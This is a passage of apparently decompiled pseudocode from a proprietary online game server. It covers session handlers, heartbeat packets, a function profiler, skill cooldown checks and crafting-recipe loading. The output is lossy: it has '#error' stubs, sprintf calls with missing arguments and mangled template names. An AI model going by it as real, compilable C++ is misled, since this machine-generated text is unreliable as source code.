*)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00449CA0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // esi@1 char *v3; // eax@2 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-28h]@3 FunctionProfiler::FunctionPerformance key; // [sp+10h] [bp-20h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { key.fp_FunctionName = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, &key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead || (key.fp_AccumulateCount = 0i64, key.fp_EntryCount = 0i64, key.fp_ExecuteNumber = 0i64, std::_Tree_std::allocator_0>>::insert( &v2->pr_Array.baseclass_0, &result, &key), v3 = *(char **)&std::_Tree_std::allocator_0>>::find( &v2->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, &key)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0], (std::_Tree_nod,std::allocator,0> >::_Node *)v3 != v2->pr_Array.baseclass_0._Myhead) ) { ++*((_QWORD *)v3 + 2); QueryPerformanceCounter((LARGE_INTEGER *)v3 + 3); } } } //----- (00449D40) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->pr_Array.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead); operator delete(v1->pr_Array.baseclass_0._Myhead); v1->pr_Array.baseclass_0._Myhead = 0; v1->pr_Array.baseclass_0._Mysize = 0; } //----- (00449D70) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->pr_Array.baseclass_0); v1->pr_Array.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->pr_Array.baseclass_0._Myhead->_Parent = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Left = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Right = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Mysize = 0; QueryPerformanceFrequency(&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency); if ( !*(_QWORD *)&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency ) FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency = (LARGE_INTEGER)1i64; v1->pr_CheckLoopCount_Command = -1; v1->pr_CheckLoopCount_Real = -1; } //----- (00449DE0) -------------------------------------------------------- void __thiscall GameDBSession::GameDBSession(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 2; } // 5AEDD0: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00449E10) -------------------------------------------------------- void __thiscall GameDBSession::_GameDBSession(GameDBSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5AEDD0: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00449E20) -------------------------------------------------------- void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock) { signed int v2; // edi@1 GameDBSession *v3; // eax@1 DebugLogging *v4; // esi@4 _iobuf *v5; // eax@6 _iobuf *v6; // eax@11 v2 = 0; v3 = (GameDBSession *)this->sb_SocketStr; do { ++v2; if ( v3 == sock ) { *((_BYTE *)&this->sb_ReconnectInterval + 264 * v2) = 1; return; } v3 = (GameDBSession *)((char *)v3 + 264); } while ( v2 < 4 ); v4 = DebugLogging::operator<<(&SocketMultiplicateLog, "Varification error"); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } if ( DebugLogging::dl_ActivAll && v4->dl_Activ ) { if ( v4->dl_FilePointer ) { v6 = DebugLogging::dl_FilePoint(v4); fputc(10, v6); fflush(v4->dl_FilePointer); fclose(v4->dl_FilePointer); v4->dl_FilePointer = 0; } } } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00449EF0) -------------------------------------------------------- void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); __security_check_cookie(cookie); } //----- (00449FD0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 2; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); } //----- (0044A0E0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gameDB, this); } //----- (0044A0F0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (0044A1C0) -------------------------------------------------------- #error "44A1C0: undefined or illegal type '#325' (funcsize=50)" //----- (0044A290) -------------------------------------------------------- void __thiscall GameLogSession::GameLogSession(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 5AEF30: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (0044A2C0) -------------------------------------------------------- void __thiscall GameLogSession::_GameLogSession(GameLogSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5AEF30: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (0044A2D0) -------------------------------------------------------- void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); __security_check_cookie(cookie); } //----- (0044A3B0) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 3; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); } //----- (0044A4C0) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gamelog, (GameDBSession *)this); } //----- (0044A4D0) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); } //----- (0044A5A0) -------------------------------------------------------- SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this) { return &this->sdb_SpecSkill; } //----- (0044A5B0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #325 *a2, unsigned __int16 skill) { CharaterSkillList::CharSkill *v3; // eax@1 char result; // al@2 v3 = CharaterSkillList::csl_GetSkillStruct(this, skill); if ( v3 ) { result = clockwatch.cw_CurrTick >= v3->cs_EndOfCooltime; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_CoolTimeCheck : Invalid skill id", skill); result = 0; } return result; } //----- (0044A600) -------------------------------------------------------- int __cdecl GatherProduce::RecipeBook::rb_Compare(const void *a, const void *b) { return **(_WORD **)a - **(_WORD **)b; } //----- (0044A620) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#325 *this, #434 *a2, unsigned __int16 *itm) { return 2818; } //----- (0044A630) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3BFu, 0xAEu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0044A6E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1865u, 0x196u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0044A790) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->gt_BinData.baseclass_0); memset(&v1->gt_BinData.bdb_defaultblock, 0, 0xACu); HIWORD(v1->gt_BinData.bdb_defaultblock.Gauge) = 0; v1->gt_Array = 0; } //----- (0044A7C0) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 int v2; // edi@1 unsigned int v3; // eax@1 void *v4; // eax@1 unsigned int v5; // ebx@4 void *v6; // eax@6 unsigned int v7; // eax@8 unsigned int v8; // eax@10 unsigned int v9; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::GatherTable::gt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->gt_BinData, "../9Data/Shine/Gather.shn"); v3 = v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->gt_Number = v3; v4 = operator new__(12 * v3); v1->gt_Array = (GatherProduce::GatherTable::GatherIndex *)v4; if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::GatherTable::gt_Load : Memory leak", 0); ShineExit("GatherProduce::GatherTable::gt_Load"); } v5 = 0; if ( v1->gt_Number > 0 ) { do { if ( v5 < v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->gt_BinData.baseclass_0.baseclass_0, v5); else v6 = &v1->gt_BinData.bdb_defaultblock; v1->gt_Array[v2].index = (GatherInfo *)v6; v7 = BTree::operator__(&stru_125739F0, v1->gt_Array[v2].index->NeededTool0); if ( v7 == -1 ) LOWORD(v7) = -1; v1->gt_Array[v2].tool[0] = v7; v8 = BTree::operator__(&stru_125739F0, v1->gt_Array[v2].index->NeededTool1); if ( v8 == -1 ) LOWORD(v8) = -1; v1->gt_Array[v2].tool[1] = v8; v9 = BTree::operator__(&stru_125739F0, v1->gt_Array[v2].index->NeededTool2); if ( v9 == -1 ) LOWORD(v9) = -1; v1->gt_Array[v2].tool[2] = v9; BTree::bt_Insert(&skillnametree, v1->gt_Array[v2].index->Index, v1->gt_Array[v2].index->GatherID); ++v5; ++v2; } while ( v5 < v1->gt_Number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); } //----- (0044A980) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->rb_BinData.baseclass_0); memset(&v1->rb_BinData.bdb_defaultblock, 0, 0x194u); HIWORD(v1->rb_BinData.bdb_defaultblock.NeededMasteryGain) = 0; v1->rb_Array = 0; } //----- (0044A9B0) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->rb_Array ) operator delete(this->rb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0044A9D0) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 int v2; // eax@1 void *v3; // eax@1 unsigned int v4; // eax@4 int v5; // edi@5 void *v6; // eax@8 unsigned int v7; // eax@10 int v8; // ecx@12 int v9; // eax@12 void *v10; // edx@12 int v11; // eax@12 signed int v12; // ebx@12 const char *v13; // ebp@13 const char v14; // al@13 unsigned int v15; // eax@15 const char **v16; // [sp+0h] [bp-38h]@12 int i; // [sp+4h] [bp-34h]@4 void *raw[8]; // [sp+Ch] [bp-2Ch]@12 int v19; // [sp+34h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::RecipeBook::rb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; BinaryDataBox::bdb_ReadData(&v1->rb_BinData, "../9Data/Shine/Produce.shn"); v2 = v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->rb_Number = v2; v3 = operator new__(76 * v2); v1->rb_Array = (GatherProduce::RecipeBook::ProductIndex *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Memory leak", v3 != 0); ShineExit("GatherProduce::RecipeBook::rb_Load"); } v4 = 0; i = 0; if ( v1->rb_Number > 0 ) { v5 = 0; while ( 1 ) { if ( v4 < v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->rb_BinData.baseclass_0.baseclass_0, v4); else v6 = &v1->rb_BinData.bdb_defaultblock; v1->rb_Array[v5].index = (ProduceInfo *)v6; v7 = BTree::operator__(&stru_125739F0, v1->rb_Array[v5].index->Product); if ( v7 == -1 ) LOWORD(v7) = -1; v1->rb_Array[v5].product = v7; v1->rb_Array[v5].productlot = v1->rb_Array[v5].index->Lot; v8 = (int)&v1->rb_Array[v5]; v9 = *(_DWORD *)v8; raw[0] = (void *)(*(_DWORD *)v8 + 102); raw[1] = (void *)(v9 + 138); raw[2] = (void *)(v9 + 174); raw[3] = (void *)(v9 + 210); raw[4] = (void *)(v9 + 246); raw[5] = (void *)(v9 + 282); raw[6] = (void *)(v9 + 318); v10 = (void *)(v9 + 354); *(_DWORD *)(v8 + 16) = *(_DWORD *)(v9 + 134); v11 = (int)&v1->rb_Array[v5]; raw[7] = v10; *(_DWORD *)(v11 + 24) = *(_DWORD *)(*(_DWORD *)v11 + 170); v1->rb_Array[v5].raw[2].quantity = v1->rb_Array[v5].index->Quantity2; v1->rb_Array[v5].raw[3].quantity = v1->rb_Array[v5].index->Quantity3; v1->rb_Array[v5].raw[4].quantity = v1->rb_Array[v5].index->Quantity4; v1->rb_Array[v5].raw[5].quantity = v1->rb_Array[v5].index->Quantity5; v1->rb_Array[v5].raw[6].quantity = v1->rb_Array[v5].index->Quantity6; v1->rb_Array[v5].raw[7].quantity = v1->rb_Array[v5].index->Quantity7; v12 = 0; v16 = (const char **)raw; do { v13 = *v16; v14 = **v16; if ( v14 != 45 && v14 ) { v15 = BTree::operator__(&stru_125739F0, *v16); if ( v15 == -1 ) LOWORD(v15) = -1; v1->rb_Array[v5].raw[v12].item = v15; if ( v1->rb_Array[v5].raw[v12].item == -1 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Invalid Raw", v13); ShineExit("GatherProduce::RecipeBook::rb_Load"); } } else { v1->rb_Array[v5].raw[v12].item = -1; } ++v12; ++v16; } while ( v12 < 8 ); ++v5; ++i; if ( i >= v1->rb_Number ) break; v4 = i; } } qsort(v1->rb_Array, v1->rb_Number, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); } //----- (0044AD00) -------------------------------------------------------- #error "44AD00: undefined or illegal type '#434' (funcsize=131)" //----- (0044AF00) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker) { void *v3; // ebp@1 int j; // eax@1 char *v5; // eax@3 int v6; // edi@5 unsigned __int16 v7; // si@6 int v8; // ecx@7 int v9; // eax@8 int toolnum; // [sp+0h] [bp-34h]@5 unsigned int i; // [sp+4h] [bp-30h]@1 signed int v13; // [sp+8h] [bp-2Ch]@5 int v14; // [sp+Ch] [bp-28h]@2 ItemBoxIterIdent ibii; // [sp+14h] [bp-20h]@7 int v16; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GatherCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; *(_WORD *)picker = -1; i = 0; for ( j = 0; ; j = v14 + 12 ) { v14 = j; if ( i >= gathertable.gt_Number ) break; v5 = (char *)gathertable.gt_Array + j; if ( !v5 ) break; if ( *(_DWORD *)(*(_DWORD *)v5 + 34) == gathertype ) { toolnum = 0; v6 = (int)(v5 + 4); v13 = 3; do { v7 = *(_WORD *)v6; if ( *(_WORD *)v6 == -1 ) { ++toolnum; } else { v8 = (int)((char *)v3 + 35536); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 35536); if ( v3 == (void *)-91696 ) v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); else v9 = (*(int (__stdcall **)(char *))(*(_DWORD *)v8 + 4))((char *)v3 + 91696); ibii.baseclass_0.ibi_Limit = v9; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = v7; LOBYTE(v16) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { if ( *(_WORD *)picker == -1 ) *(_WORD *)picker = *(_WORD *)v6; ++toolnum; } LOBYTE(v16) = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } v6 += 2; --v13; } while ( v13 ); if ( toolnum == 3 ) { --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2817; } } ++i; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2828; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0044B0E0) -------------------------------------------------------- #error "44B0E0: undefined or illegal type '#434' (funcsize=111)" //----- (0044B2B0) -------------------------------------------------------- #error "44B2B0: undefined or illegal type '#325' (funcsize=106)" //----- (0044B470) -------------------------------------------------------- #error "44B470: undefined or illegal type '#325' (funcsize=199)" //----- (0044B760) -------------------------------------------------------- #error "44B760: undefined or illegal type '#325' (funcsize=219)" //----- (0044BA80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@5 int v6; // ST04_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@5 int v9; // [sp+30h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S18_15 & 1) ) { _S18_15 |= 1u; cmc_33.cmc_AllowMode = 6; atexit(_E19_11); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_33.cmc_AllowMode && *((_DWORD *)v4 + 1781) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8250; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); *((_DWORD *)v4 + 1781) = 0; LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); } //----- (0044BBD0) -------------------------------------------------------- #error "44BBD0: undefined or illegal type '#434' (funcsize=44)" //----- (0044BC90) -------------------------------------------------------- void __thiscall ItemProducer::_ItemProducer(ItemProducer 